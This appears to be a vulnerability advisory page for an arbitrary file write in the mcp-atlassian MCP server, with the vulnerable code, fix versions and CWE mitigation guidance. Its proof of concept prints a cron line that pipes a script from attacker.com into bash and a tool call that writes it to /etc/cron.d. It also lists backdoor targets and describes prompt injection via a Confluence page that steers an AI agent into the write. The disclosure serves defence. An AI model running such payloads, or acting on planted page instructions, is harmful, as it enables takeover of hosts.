GHSA-xjgw-4wvw-rgm4 CVE-2026-27825 PYSEC-2026-408
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
- Severity
- 9.0 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 11.50%
- Chance of exploitation in the next 30 days. Higher than 96.02% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-73 External Control of File Name or Path
- Fix
0.17.0- Upgrade mcp-atlassian to this version or later
Description
Summary
The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).
Details
The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:
download_path: Annotated[
str,
Field(
description=(
"Full path where the file should be saved. Can be absolute or relative. "
"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
"Parent directory will be created if it doesn't exist."
)
),
],
The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:
if not os.path.isabs(target_path):
target_path = os.path.abspath(target_path) # normalizes path, no restriction
os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory
with open(target_path, "wb") as f: # writes to any writable path
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).
### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.
Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:
* * * * * root curl http://attacker.com/shell.sh | bash
Step 2 — Call the tool with a sensitive write target:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments": {
"page_id": "<page id hosting the malicious attachment>",
"attachment_id": "<attachment id>",
"download_path": "/etc/cron.d/mcp-backdoor"
}
},
"id": 1
}
The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.
Alternative potential write targets demonstrating broader impact:
- /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
- <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
- ~/.bashrc - code execution on next user login
### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.
In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.
Example potential RCE paths:
1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required
2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.
3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.
4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| mcp-atlassian | < 0.17.0 |
0.17.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
mcp-atlassian PyPI → 0.17.0
- pip
pip install --upgrade "mcp-atlassian>=0.17.0"- poetry
poetry add "mcp-atlassian>=0.17.0"- uv
uv add "mcp-atlassian>=0.17.0"
Severity breakdown
CVSS 3.1 9.0
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Adjacent
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g2r2-3j32-j27x MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler | Medium | Also affects mcp-atlassian |
| GHSA-h7wj-5v37-59r2 MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read (incomplete fix for CVE-2026-27825) | Medium | Also affects mcp-atlassian |
| GHSA-4596-2p6p-28cv MCP Atlassian: Insecure File Permissions on OAuth Token Storage | Medium | Also affects mcp-atlassian |
| GHSA-mfv2-4wvm-9pgp MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call | Medium | Also affects mcp-atlassian |
| GHSA-p6hp-93wp-fh6p MCP Atlassian: Path Traversal / Arbitrary File Read in confluence_upload_attachment MCP tool (incomplete fix of GHSA-xjgw-4wvw-rgm4) | High | Also affects mcp-atlassian |
| GHSA-6cr4-ccf3-x7h4 MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials | High | Also affects mcp-atlassian |
| GHSA-mrq8-fv7v-hhjg MCP Atlassian: HTTP upload tools accept arbitrary server-local file paths | Medium | Also affects mcp-atlassian |
| GHSA-2xj6-xx86-cwwc MCP Atlassian: Arbitrary File Read & Exfiltration (Confused Deputy) in JIRA update_issue | High | Also affects mcp-atlassian |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor